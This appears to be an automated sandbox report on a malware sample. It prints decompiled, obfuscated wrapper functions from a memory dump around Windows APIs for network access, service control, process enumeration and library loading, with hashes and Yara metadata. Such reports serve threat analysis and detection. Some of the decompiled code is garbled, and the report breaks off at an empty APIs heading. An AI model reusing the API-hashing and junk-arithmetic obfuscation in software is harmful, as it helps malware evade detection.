0x00eb1920
0x00eb1922
0x00eb1926
0x00eb1927
0x00eb1927
0x00eb192a
0x00eb192b
0x00eb192d
0x00eb192e
0x00eb192f
0x00eb1930
0x00eb1932
0x00eb1932
0x00eb1932
0x00eb1933
0x00eb1934
0x00eb193a
0x00eb193d
0x00eb193e
0x00eb193f
0x00eb1944
0x00eb194b
0x00eb194c
0x00eb194c
0x00eb1950
0x00eb1951
0x00eb1953
0x00eb1955
0x00eb195c
0x00eb195c
0x00eb195c
0x00000000
0x00eb1962
0x00eb1964
0x00000000
0x00000000
0x00eb1966
0x00eb1967
0x00eb1968
0x00eb196f
0x00eb1972
0x00eb1973
0x00eb1976
0x00eb1977
0x00eb1978
0x00eb1979
0x00eb1980
0x00eb1997
0x00eb199f
0x00eb19af
0x00eb19ba
0x00eb19bf
0x00000000
0x00eb19bf
0x00eb18e5
0x00eb18e7
0x00eb18e9
0x00eb18ea
0x00eb18f1
0x00eb18f1
0x00eb18f3
0x00eb18f4
0x00eb18f6
0x00eb18f8
0x00eb18f9
0x00eb18fb
0x00eb18fe
0x00eb1900
0x00eb1903
0x00eb1905
0x00eb1909
0x00eb190c
0x00000000
0x00000000
0x00000000
0x00000000
0x00eb190c
0x00000000
0x00eb190e
0x00eb190e
0x00eb1910
0x00eb1913
0x00eb1914
0x00eb1917
0x00eb1918
0x00eb191d
0x00eb191e
0x00eb191f
0x00eb191f

APIs

InternetCloseHandle.WININET(00043C3A), ref: 00EB19BA

Strings

Emu, xrefs: 00EB19AC

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CloseHandleInternet
String ID: Emu
API String ID: 1081599783-3203347589
Opcode ID: 332a4bbba740147284e6415f0e73646282ffb3dd2faa782252393788655e39bb
Instruction ID: f14688460f6eb887a242a2c719c1d309755dc2ad4a4da0afeb808cd3ec831d22
Opcode Fuzzy Hash: 332a4bbba740147284e6415f0e73646282ffb3dd2faa782252393788655e39bb
Instruction Fuzzy Hash: 181153B1D01208ABDB05DFA8C91A5DEBFB4EB40318F2080C9E850AA264D3719B498B44

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD666, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00ECD666(void* __ecx, void* __edx, void* _a4) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t35;
				int _t42;

				_push(_a4);
				_push(__ecx);
				E00EB358A(_t35);
				_v20 = _v20 & 0x00000000;
				_v28 = 0x3d78f1;
				_v24 = 0xac25d1;
				_v12 = 0x4c86c9;
				_v12 = _v12 * 0xf;
				_v12 = _v12 + 0x1b02;
				_v12 = _v12 << 5;
				_v12 = _v12 ^ 0x8f83d85a;
				_v16 = 0x3b498d;
				_v16 = _v16 ^ 0x5006b4dd;
				_v16 = _v16 + 0x5110;
				_v16 = _v16 ^ 0x50332775;
				_v8 = 0x9247fe;
				_v8 = _v8 + 0xffffd74e;
				_v8 = _v8 + 0xe410;
				_v8 = _v8 >> 3;
				_v8 = _v8 ^ 0x00100005;
				E00EC0A93(0xc12a9f3f, 0x303, __ecx, __ecx, 0x97da6f6d);
				_t42 = FindClose(_a4); // executed
				return _t42;
			}

0x00ecd66c
0x00ecd670
0x00ecd671
0x00ecd676
0x00ecd67d
0x00ecd684
0x00ecd68b
0x00ecd6a2
0x00ecd6aa
0x00ecd6b1
0x00ecd6b5
0x00ecd6bc
0x00ecd6c3
0x00ecd6ca
0x00ecd6d1
0x00ecd6d8
0x00ecd6df
0x00ecd6e6
0x00ecd6ed
0x00ecd6f1
0x00ecd701
0x00ecd70c
0x00ecd711

APIs

FindClose.KERNEL32(8F83D85A), ref: 00ECD70C

Strings

u'3P, xrefs: 00ECD6D1

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID: u'3P
API String ID: 1863332320-3752323859
Opcode ID: 36acd33d6d4ed3773567e0d983c410523f92b11806947150201a0cab7ba0153f
Instruction ID: a41a5aa0c7b84393569cb7daf3e32b3cb8d2c6893cf697fe2cfef0eaebf9ced0
Opcode Fuzzy Hash: 36acd33d6d4ed3773567e0d983c410523f92b11806947150201a0cab7ba0153f
Instruction Fuzzy Hash: 8D1112B6C0120CEBDB45DFA4C95AADEFBB4EB00308F108188E8147A251E7B55B49DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00EB1934, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
networkCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00EB1934(signed int __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed long long __fp0, void* _a4) {
				void* _v3;
				char _v5;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t27;
				char* _t28;
				int _t35;
				signed int _t36;
				signed int _t37;
				void* _t42;
				char* _t47;
				void* _t49;
				char* _t50;
				signed int _t57;
				signed long long _t59;

				L0:
				while(1) {
					L0:
					_t59 = __fp0;
					_t42 = __edi;
					_t37 = __ecx;
					_t36 = __ebx;
					_push(_a4);
					_push(__ecx);
					_t28 = E00EB358A(_t27);
					_v8 = 0x7ed2b1;
					_t50 = _t49 + 0xc;
					while(1) {
						L8:
						asm("les ecx, [ecx+eax*4]");
						asm("cld");
						asm("fucomi st0, st5");
						_t37 = _t37 &  *_t41;
						_v8 = _v8 + 0xfffffd30;
						_t14 =  &_v8;
						 *_t14 = _v8 ^ 0x7f9c4fa4;
						_t57 =  *_t14;
						L9:
						while(_t57 > 0) {
							asm("invalid");
							asm("invalid");
							_push(_t28);
							asm("fcomp st0, st2");
							L2:
							asm("rcl bh, cl");
							asm("aas");
							asm("adc dl, ch");
							asm("in eax, 0xa1");
							asm("daa");
							asm("scasd");
							asm("o16 js 0x23");
							asm("loopne 0xffffffff");
							_push(ds);
							_t41 = 0x82;
							_t59 = _t59 /  *(_t36 + 0x7f);
							 *[ds:ecx] = ss;
							if(_t50 < _t28) {
								L8:
								asm("les ecx, [ecx+eax*4]");
								asm("cld");
								asm("fucomi st0, st5");
								_t37 = _t37 &  *_t41;
								_v8 = _v8 + 0xfffffd30;
								_t14 =  &_v8;
								 *_t14 = _v8 ^ 0x7f9c4fa4;
								_t57 =  *_t14;
							} else {
								L3:
								 *_t37 = ss;
								 *((intOrPtr*)(_t42 - 0x1e)) =  *((intOrPtr*)(_t42 - 0x1e)) - 0x82;
								_t41 = 0x83;
								_t36 = _t36 |  *(_t42 - 0x44);
								_t47 =  &_v5;
								if(_t36 >=  *((intOrPtr*)(_t36 - 0x16))) {
									L4:
									_push(0x83);
									asm("clc");
									asm("invalid");
									L5:
									asm("enter 0xfdbb, 0xd2");
									_pop(_t28);
								}
								L6:
								asm("xlatb");
								_t37 = 0xae;
								_t28 = _t28 + 1;
								asm("movsd");
								asm("pushad");
								if(_t28 <= 0) {
									L7:
									_t50 = _t47;
									asm("enter 0x8b55, 0xec");
									goto L0;
								}
							}
						}
						if(_t57 != 0) {
							goto L9;
						}
						L11:
						asm("insd");
						goto 0x96a4;
						 *_t28 =  *_t28 + 0xc1;
						asm("insd");
						asm("clc");
						asm("insd");
						asm("clc");
						_push(cs);
						_v12 = _v12 ^ 0x00043c3a;
						_v16 = 0x85594a;
						_v16 = _v16 * 0x60;
						_v16 = _v16 ^ 0x32067144;
						E00EC0A93(0xcff283f, 0x2c2, _t37, _t37, 0x746d919);
						_t35 = InternetCloseHandle(_a4); // executed
						return _t35;
						L12:
					}
				}
			}

0x00eb1934
0x00eb1934
0x00eb1934
0x00eb1934
0x00eb1934
0x00eb1934
0x00eb1934
0x00eb193a
0x00eb193e
0x00eb193f
0x00eb1944
0x00eb194b
0x00eb194c
0x00eb194c
0x00eb194c
0x00eb1950
0x00eb1951
0x00eb1953
0x00eb1955
0x00eb195c
0x00eb195c
0x00eb195c
0x00000000
0x00eb1962
0x00eb18e5
0x00eb18e7
0x00eb18e9
0x00eb18ea
0x00eb18f1
0x00eb18f1
0x00eb18f3
0x00eb18f4
0x00eb18f6
0x00eb18f8
0x00eb18f9
0x00eb18fb
0x00eb18fe
0x00eb1900
0x00eb1903
0x00eb1905
0x00eb1909
0x00eb190c
0x00eb194c
0x00eb194c
0x00eb1950
0x00eb1951
0x00eb1953
0x00eb1955
0x00eb195c
0x00eb195c
0x00eb195c
0x00eb190e
0x00eb190e
0x00eb190e
0x00eb1910
0x00eb1913
0x00eb1914
0x00eb1917
0x00eb191b
0x00eb191d
0x00eb191d
0x00eb191e
0x00eb191f
0x00eb1920
0x00eb1922
0x00eb1926
0x00eb1926
0x00eb1927
0x00eb192a
0x00eb192b
0x00eb192d
0x00eb192e
0x00eb192f
0x00eb1930
0x00eb1932
0x00eb1932
0x00eb1933
0x00000000
0x00eb1933
0x00eb1930
0x00eb190c
0x00eb1964
0x00000000
0x00000000
0x00eb1966
0x00eb1967
0x00eb1968
0x00eb196f
0x00eb1972
0x00eb1973
0x00eb1976
0x00eb1977
0x00eb1978
0x00eb1979
0x00eb1980
0x00eb1997
0x00eb199f
0x00eb19af
0x00eb19ba
0x00eb19bf
0x00000000
0x00eb19bf
0x00eb194c

APIs

InternetCloseHandle.WININET(00043C3A), ref: 00EB19BA

Strings

Emu, xrefs: 00EB19AC

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: CloseHandleInternet
String ID: Emu
API String ID: 1081599783-3203347589
Opcode ID: 7f38ffd22baa6c3baa8f60bae8b082726434e20872f483a8314c490bddb0bcc9
Instruction ID: fd88e7936803e34c5cca3f65fe81b2058ae66b25f1744b798597321c8145ccef
Opcode Fuzzy Hash: 7f38ffd22baa6c3baa8f60bae8b082726434e20872f483a8314c490bddb0bcc9
Instruction Fuzzy Hash: C40148B1D0120CFBCB04DFA5C94A89DBBB4EF00314F208099E904B6254E3759B089F45

Uniqueness

Uniqueness Score: -1.00%

Function 00EB2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00EB2C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00EB358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E00EC0A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x00eb2c41
0x00eb2c44
0x00eb2c46
0x00eb2c49
0x00eb2c4c
0x00eb2c4d
0x00eb2c4e
0x00eb2c53
0x00eb2c5d
0x00eb2c64
0x00eb2c6b
0x00eb2c72
0x00eb2c79
0x00eb2c80
0x00eb2c87
0x00eb2c8e
0x00eb2caf
0x00eb2cbb
0x00eb2cc1

APIs

lstrcmpiW.KERNEL32(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 00EB2CBB

Strings

&xU`, xrefs: 00EB2C8E

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: 7bb10e00ccda34b050deecdd6f6890c3f4c03b60aa95947200c6cd0b1dbff71a
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: EC011675D01248BBDB15DFD5994A9DEBFB4EF04310F00C088E81966221D7719B119B95

Uniqueness

Uniqueness Score: -1.00%

Function 00EB70AE, Relevance: 1.6, APIs: 1, Instructions: 54
networkCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00EB70AE(void* __ecx, intOrPtr _a4, long _a12, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t34;
				void* _t43;
				signed int _t45;

				_push(_a28);
				_push(_a24);
				_push(0);
				_push(0);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				E00EB358A(_t34);
				_v12 = 0x3a1597;
				_v12 = _v12 ^ 0x517cc252;
				_v12 = _v12 ^ 0x561fa9e5;
				_v12 = _v12 ^ 0x075d6bc8;
				_v16 = 0xd0655c;
				_t45 = 0x6a;
				_v16 = _v16 / _t45;
				_v16 = _v16 ^ 0x000e6e3b;
				_v8 = 0x619b10;
				_v8 = _v8 * 0x27;
				_v8 = _v8 ^ 0x1a3c1f87;
				_v8 = _v8 + 0x30fc;
				_v8 = _v8 ^ 0x14ed11c6;
				E00EC0A93(0xa29290ec, 0x1e6, _t45, _t45, 0x746d919);
				_t43 = InternetOpenW(0, _a12, 0, 0, 0); // executed
				return _t43;
			}

0x00eb70b5
0x00eb70ba
0x00eb70bd
0x00eb70be
0x00eb70bf
0x00eb70c2
0x00eb70c3
0x00eb70c6
0x00eb70c8
0x00eb70cd
0x00eb70d7
0x00eb70e0
0x00eb70e7
0x00eb70ee
0x00eb70fa
0x00eb7102
0x00eb7105
0x00eb710c
0x00eb7123
0x00eb7126
0x00eb712d
0x00eb7134
0x00eb7144
0x00eb7153
0x00eb7159

APIs

InternetOpenW.WININET(00000000,?,00000000,00000000,00000000), ref: 00EB7153

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 238cd2576733518ebe7c14f8d9ab394c9447c65f6aa93e110a8d2de05a62e99a
Instruction ID: 593f830623a5f35ada524e107c6f87324027f7216d175075517827b39b2148c1
Opcode Fuzzy Hash: 238cd2576733518ebe7c14f8d9ab394c9447c65f6aa93e110a8d2de05a62e99a
Instruction Fuzzy Hash: E3114672D01218FBDB24DFA5CD4A8DFBFB9EF06350F108199E51966250E2729B21DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ED021F, Relevance: 1.5, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00ED021F(void* __ecx, void* __edx, long _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t35;
				void* _t43;
				signed int _t45;
				void* _t50;

				_push(_a16);
				_t50 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E00EB358A(_t35);
				_v12 = 0xc0e5f1;
				_v12 = _v12 + 0xda00;
				_v12 = _v12 ^ 0x48d5c3e6;
				_v12 = _v12 ^ 0x481bdc7d;
				_v8 = 0x17bc7;
				_v8 = _v8 >> 0xb;
				_t45 = 0x7b;
				_v8 = _v8 / _t45;
				_v8 = _v8 << 0xd;
				_v8 = _v8 ^ 0x0006db1e;
				_v16 = 0xca237e;
				_v16 = _v16 + 0xef11;
				_v16 = _v16 ^ 0x00ccab0e;
				E00EC0A93(0x8caed929, 0x317, _t45, _t45, 0x97da6f6d);
				_t43 = RtlAllocateHeap(_t50, _a8, _a4); // executed
				return _t43;
			}

0x00ed0226
0x00ed0229
0x00ed022b
0x00ed022e
0x00ed0231
0x00ed0235
0x00ed0236
0x00ed023b
0x00ed0245
0x00ed024e
0x00ed0255
0x00ed025c
0x00ed0263
0x00ed026c
0x00ed0274
0x00ed0277
0x00ed027b
0x00ed0282
0x00ed0289
0x00ed0290
0x00ed02ac
0x00ed02bb
0x00ed02c1

APIs

RtlAllocateHeap.NTDLL(00000000,00CCAB0E,481BDC7D,?,?,?,?,?,?,?,?,?,00000008), ref: 00ED02BB

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5ba53a84485e4440559d0fb43da91978a7bcc9bb3a354e9c732d1687a8d7d57f
Instruction ID: 0864ddff9bbd9a754952243be5e5bc8ee693c41ddc5d9f8cac53137688d15fff
Opcode Fuzzy Hash: 5ba53a84485e4440559d0fb43da91978a7bcc9bb3a354e9c732d1687a8d7d57f
Instruction Fuzzy Hash: B61100B6D0620CFFDF05DFA4C94A8DEBBB5EB04314F108089F9146A250E3B59B249F91

Uniqueness

Uniqueness Score: -1.00%

Function 00EBACDB, Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00EBACDB(void* __ecx, void* __edx, intOrPtr _a4, int _a8, intOrPtr _a16) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				short* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t32;
				void* _t39;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E00EB358A(_t32);
				_v28 = 0x3efa7c;
				_v24 = 0x1427a1;
				_v20 = 0;
				_v16 = 0x3999dc;
				_v16 = _v16 * 0x69;
				_v16 = _v16 ^ 0x17a33522;
				_v8 = 0x98febf;
				_v8 = _v8 | 0xa9f18d33;
				_v8 = _v8 + 0xffff27c9;
				_v8 = _v8 + 0xffff7e19;
				_v8 = _v8 ^ 0xa9f83f7b;
				_v12 = 0x9aad70;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 ^ 0x00028f30;
				E00EC0A93(0x1ae4c564, 0x18, __ecx, __ecx, 0x2a841103);
				_t39 = OpenSCManagerW(0, 0, _a8); // executed
				return _t39;
			}

0x00ebace2
0x00ebace7
0x00ebace8
0x00ebaceb
0x00ebacef
0x00ebacf0
0x00ebacf5
0x00ebacff
0x00ebad06
0x00ebad09
0x00ebad1d
0x00ebad25
0x00ebad2c
0x00ebad33
0x00ebad3a
0x00ebad41
0x00ebad48
0x00ebad4f
0x00ebad56
0x00ebad5a
0x00ebad5e
0x00ebad6e
0x00ebad7b
0x00ebad81

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,17A33522), ref: 00EBAD7B

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a651a9cbf6b6e1e0a2c05f2e577fa9f9acdeeabfbbfe254e42d889b7a50bbc8b
Instruction ID: 479607f83366f2145d1e08f5df00d318a805149920c06dbe7affc9c25fd3937c
Opcode Fuzzy Hash: a651a9cbf6b6e1e0a2c05f2e577fa9f9acdeeabfbbfe254e42d889b7a50bbc8b
Instruction Fuzzy Hash: 31111076C12218BB9B55EFA8DA468EEBFB4EB11310F508189E814B7261D3B14B148F90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB73C8, Relevance: 1.5, APIs: 1, Instructions: 46
fileCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00EB73C8(struct _WIN32_FIND_DATAW* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t27;
				int _t35;
				void* _t39;
				struct _WIN32_FIND_DATAW* _t40;

				_push(_a16);
				_t39 = __edx;
				_t40 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00EB358A(_t27);
				_v12 = 0x5e020c;
				_v12 = _v12 + 0xdf50;
				_v12 = _v12 | 0x3c889ce2;
				_v12 = _v12 ^ 0x3cd6ff99;
				_v16 = 0xd4e4b8;
				_v16 = _v16 * 0x6e;
				_v16 = _v16 ^ 0x5b7091d7;
				_v8 = 0x59595;
				_v8 = _v8 * 0x12;
				_v8 = _v8 | 0x73df2f2f;
				_v8 = _v8 ^ 0x73fefa1d;
				E00EC0A93(0xb664e2af, 0x7f, __ecx, __ecx, 0x97da6f6d);
				_t35 = FindNextFileW(_t39, _t40); // executed
				return _t35;
			}

0x00eb73d0
0x00eb73d3
0x00eb73d5
0x00eb73d7
0x00eb73da
0x00eb73dd
0x00eb73e0
0x00eb73e1
0x00eb73e2
0x00eb73e7
0x00eb73f1
0x00eb73f8
0x00eb73ff
0x00eb7406
0x00eb741a
0x00eb7422
0x00eb7429
0x00eb7434
0x00eb7437
0x00eb743e
0x00eb744e
0x00eb7458
0x00eb745f

APIs

FindNextFileW.KERNELBASE ref: 00EB7458

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1ea09874ed8103d3a330ef62c0b921615f916204ea1479fd66e46b74954288b0
Instruction ID: 73c2e8864980da1429dd9de136cb40e744f93e7bc9877075a2af18161e353850
Opcode Fuzzy Hash: 1ea09874ed8103d3a330ef62c0b921615f916204ea1479fd66e46b74954288b0
Instruction Fuzzy Hash: AB1179B5C01208FBCB04DFA9D9069DEBFB4EB40300F208099F814A7260E7715B14DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC95C7, Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00EC95C7(void* __ecx, struct tagPROCESSENTRY32W __edx, void* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				void* _t32;
				int _t40;
				signed int _t42;
				struct tagPROCESSENTRY32W _t47;

				_push(_a16);
				_t47 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E00EB358A(_t32);
				_v8 = 0xf64c93;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x10b55ef7;
				_v8 = _v8 >> 2;
				_v8 = _v8 ^ 0x042814f7;
				_v16 = 0x8295e7;
				_v16 = _v16 ^ 0xdf93a7b2;
				_v16 = _v16 ^ 0xdf1660e1;
				_v12 = 0xbe0088;
				_t42 = 0x2f;
				_v12 = _v12 / _t42;
				_v12 = _v12 ^ 0x00090de7;
				E00EC0A93(0xa5ac86d6, 0xd9, _t42, _t42, 0x97da6f6d);
				_t40 = Process32NextW(_a4, _t47); // executed
				return _t40;
			}

0x00ec95ce
0x00ec95d1
0x00ec95d3
0x00ec95d6
0x00ec95d9
0x00ec95dc
0x00ec95de
0x00ec95e3
0x00ec95ed
0x00ec95f3
0x00ec95fa
0x00ec95fe
0x00ec9605
0x00ec960c
0x00ec9613
0x00ec961a
0x00ec9626
0x00ec962e
0x00ec9631
0x00ec964d
0x00ec9659
0x00ec965f

APIs

Process32NextW.KERNEL32(00090DE7,?,?,?,?,?,?,?,?,?,?,0003E478), ref: 00EC9659

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 14f7cf762be58fa3313bf7392e5ae5066c46f2eaba8b0836b9691e62a9ffc318
Instruction ID: 837f7a53a48fc9e70e24977637bc5e47c696f68c306904cfaa49cdd334d5f778
Opcode Fuzzy Hash: 14f7cf762be58fa3313bf7392e5ae5066c46f2eaba8b0836b9691e62a9ffc318
Instruction Fuzzy Hash: 6B113576D02208FBDF09EFE5C90A89EBFB5EB00300F108099E915AA251D7B25B64DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA173, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00ECA173(void* __ecx, void* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;
				char _t36;

				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E00EB358A(_t29);
				_v16 = 0x7afddc;
				_v16 = _v16 ^ 0x6856c96f;
				_v16 = _v16 ^ 0x68207cc6;
				_v12 = 0xb8cf72;
				_v12 = _v12 | 0x88d01a4e;
				_v12 = _v12 * 0x12;
				_v12 = _v12 ^ 0xa174b16a;
				_v8 = 0xf8369;
				_v8 = _v8 + 0xffff992b;
				_v8 = _v8 + 0xffff6268;
				_v8 = _v8 ^ 0x00056568;
				E00EC0A93(0x434e1cf8, 0x2e1, __ecx, __ecx, 0x97da6f6d);
				_t36 = RtlFreeHeap(_a4, 0, _a16); // executed
				return _t36;
			}

0x00eca179
0x00eca17b
0x00eca17e
0x00eca181
0x00eca184
0x00eca188
0x00eca189
0x00eca18e
0x00eca198
0x00eca19f
0x00eca1a6
0x00eca1ad
0x00eca1c4
0x00eca1cc
0x00eca1d3
0x00eca1da
0x00eca1e1
0x00eca1e8
0x00eca1f8
0x00eca208
0x00eca20d

APIs

RtlFreeHeap.NTDLL(A174B16A,00000000,?), ref: 00ECA208

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2d75a9b0b6b99655ee2a2e51cae27aedc75d5503d53e47ab9b6cc7083230757c
Instruction ID: 4b8c10a78c8876786c0ac79765d5e64257d4d7642850bf73551fb495a816bf6f
Opcode Fuzzy Hash: 2d75a9b0b6b99655ee2a2e51cae27aedc75d5503d53e47ab9b6cc7083230757c
Instruction Fuzzy Hash: 5801057190120CFFDF55DFA8CE06A9EBFB4EB04700F608188E914B6261E3725B65AB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ED2DAA, Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00ED2DAA(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t21;
				struct HINSTANCE__* _t27;
				WCHAR* _t31;

				_push(_a8);
				_t31 = __ecx;
				_push(_a4);
				_push(__ecx);
				E00EB358A(_t21);
				_v16 = 0xe4edb8;
				_v16 = _v16 + 0xffff324f;
				_v16 = _v16 ^ 0x00e4d338;
				_v12 = 0x4aa4e3;
				_v12 = _v12 | 0x47be1ae1;
				_v12 = _v12 ^ 0x47f82da6;
				_v8 = 0x5f13c8;
				_v8 = _v8 + 0xffffe959;
				_v8 = _v8 ^ 0x0055a0fc;
				E00EC0A93(0xf7ec3422, 5, __ecx, __ecx, 0x97da6f6d);
				_t27 = LoadLibraryW(_t31); // executed
				return _t27;
			}

0x00ed2db1
0x00ed2db4
0x00ed2db6
0x00ed2dba
0x00ed2dbb
0x00ed2dc0
0x00ed2dca
0x00ed2dd1
0x00ed2dd8
0x00ed2ddf
0x00ed2de6
0x00ed2ded
0x00ed2df4
0x00ed2dfb
0x00ed2e19
0x00ed2e22
0x00ed2e28

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 00ED2E22

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fa0b9ba42ca251ba5c1ef1ce6445bbbddcbdfd736c10d6ad21ab5a4b44c371a5
Instruction ID: 9a9a3ed0f4f476d55901d33afe9f0cdadcf0bcf28421d5a7aa10abbde72c968a
Opcode Fuzzy Hash: fa0b9ba42ca251ba5c1ef1ce6445bbbddcbdfd736c10d6ad21ab5a4b44c371a5
Instruction Fuzzy Hash: 410169B6C01218FBDB54EFA4D90B8DEBFB8EF40310F108189E81476251E7B16B149F92

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4A33, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00EC4A33(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				void* _t25;
				int _t31;

				_push(_a4);
				_push(__ecx);
				E00EB358A(_t25);
				_v16 = 0x36d040;
				_v16 = _v16 >> 3;
				_v16 = _v16 ^ 0x000ed2c4;
				_v12 = 0x8d9e7;
				_v12 = _v12 >> 0xe;
				_v12 = _v12 ^ 0x9c63d73c;
				_v12 = _v12 ^ 0x9c6af444;
				_v8 = 0x5b66fe;
				_v8 = _v8 << 0xd;
				_v8 = _v8 | 0x4c53bd11;
				_v8 = _v8 ^ 0x6cd412c8;
				E00EC0A93(0x3380cc20, 0x183, __ecx, __ecx, 0x97da6f6d);
				_t31 = FindCloseChangeNotification(_a4); // executed
				return _t31;
			}

0x00ec4a39
0x00ec4a3d
0x00ec4a3e
0x00ec4a43
0x00ec4a4d
0x00ec4a51
0x00ec4a58
0x00ec4a5f
0x00ec4a63
0x00ec4a6a
0x00ec4a71
0x00ec4a78
0x00ec4a7c
0x00ec4a83
0x00ec4aa4
0x00ec4aaf
0x00ec4ab4

APIs

